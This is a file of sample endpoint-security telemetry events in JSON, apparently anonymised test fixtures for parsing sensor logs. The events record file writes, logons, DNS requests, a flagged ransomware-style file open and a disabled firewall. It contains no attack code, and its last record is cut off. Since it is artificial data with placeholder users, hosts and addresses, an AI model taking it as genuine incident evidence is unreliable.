+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} +{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} +{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} +{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} +{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} +{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"} +{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} +{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} +{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} +{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"} +{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} +{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} +{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"} +{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"} +{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"} +{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"} +{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" 